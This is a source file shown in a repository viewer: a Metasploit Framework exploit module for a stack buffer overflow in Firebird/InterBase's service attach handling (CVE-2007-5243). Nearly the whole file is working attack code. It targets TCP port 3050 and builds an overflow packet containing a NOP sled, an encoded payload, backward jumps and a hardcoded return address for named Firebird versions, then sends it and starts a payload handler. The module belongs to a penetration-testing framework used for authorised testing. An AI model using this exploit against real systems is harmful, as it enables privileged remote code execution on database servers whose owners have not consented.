Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / misc / fb_svc_attach.rb @ master

History | View | Annotate | Download (2.7 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Tcp
18
        include Msf::Exploit::Remote::BruteTargets
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'                => 'Firebird Relational Database SVC_attach() Buffer Overflow',
23
                        'Description'        => %q{
24
                                This module exploits a stack buffer overflow in Borland InterBase
25
                                by sending a specially crafted service attach request.
26
                        },
27
                        'Version'        => '$Revision$',
28
                        'Author'        =>
29
                                [
30
                                        'ramon',
31
                                        'Adriano Lima <adriano[at]risesecurity.org>',
32
                                ],
33
                        'Arch'                => ARCH_X86,
34
                        'Platform'        => 'win',
35
                        'References'        =>
36
                                [
37
                                        [ 'CVE', '2007-5243' ],
38
                                        [ 'OSVDB', '38605' ],
39
                                        [ 'BID', '25917' ],
40
                                        [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
41
                                ],
42
                        'Privileged'        => true,
43
                        'License'        => MSF_LICENSE,
44
                        'Payload'        =>
45
                                {
46
                                        'Space' => 256,
47
                                        'BadChars' => "\x00\x2f\x3a\x40\x5c",
48
                                        'StackAdjustment' => -3500,
49
                                },
50
                        'Targets'        =>
51
                                [
52
                                        [ 'Brute Force', { } ],
53
                                        # 0x0040230b pop ebp; pop ebx; ret
54
                                        [
55
                                                'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',
56
                                                { 'Length' => [ 308 ], 'Ret' => 0x0040230b }
57
                                        ],
58
                                        # Debug
59
                                        [
60
                                                'Debug',
61
                                                { 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }
62
                                        ],
63
                                ],
64
                        'DefaultTarget'        => 1,
65
                        'DisclosureDate'  => 'Oct 03 2007'
66
                ))
67

    
68
                register_options(
69
                        [
70
                                Opt::RPORT(3050)
71
                        ], self.class)
72
        end
73

    
74
        def exploit_target(target)
75

    
76
                target['Length'].each do |length|
77

    
78
                        connect
79

    
80
                        # Attach database
81
                        op_attach = 19
82

    
83
                        # Create database
84
                        op_create = 20
85

    
86
                        # Service attach
87
                        op_service_attach = 82
88

    
89
                        remainder = length.remainder(4)
90
                        padding = 0
91

    
92
                        if remainder > 0
93
                                padding = (4 - remainder)
94
                        end
95

    
96
                        buf = ''
97

    
98
                        # Operation/packet type
99
                        buf << [op_service_attach].pack('N')
100

    
101
                        # Id
102
                        buf << [0].pack('N')
103

    
104
                        # Length
105
                        buf << [length].pack('N')
106

    
107
                        # Nop block
108
                        buf << make_nops(length - payload.encoded.length - 13)
109

    
110
                        # Payload
111
                        buf << payload.encoded
112

    
113
                        # Jump back into the nop block
114
                        buf << "\xe9" + [-260].pack('V')
115

    
116
                        # Jump back
117
                        buf << "\xeb" + [-7].pack('c')
118

    
119
                        # Random alpha data
120
                        buf << rand_text_alpha(2)
121

    
122
                        # Target
123
                        buf << [target.ret].pack('V')
124

    
125
                        # Padding
126
                        buf << "\x00" * padding
127

    
128
                        # Database parameter block
129

    
130
                        # Length
131
                        buf << [1024].pack('N')
132

    
133
                        # Random alpha data
134
                        buf << rand_text_alpha(1024)
135

    
136
                        sock.put(buf)
137

    
138
                        #select(nil,nil,nil,4)
139

    
140
                        handler
141

    
142
                end
143

    
144
        end
145

    
146
end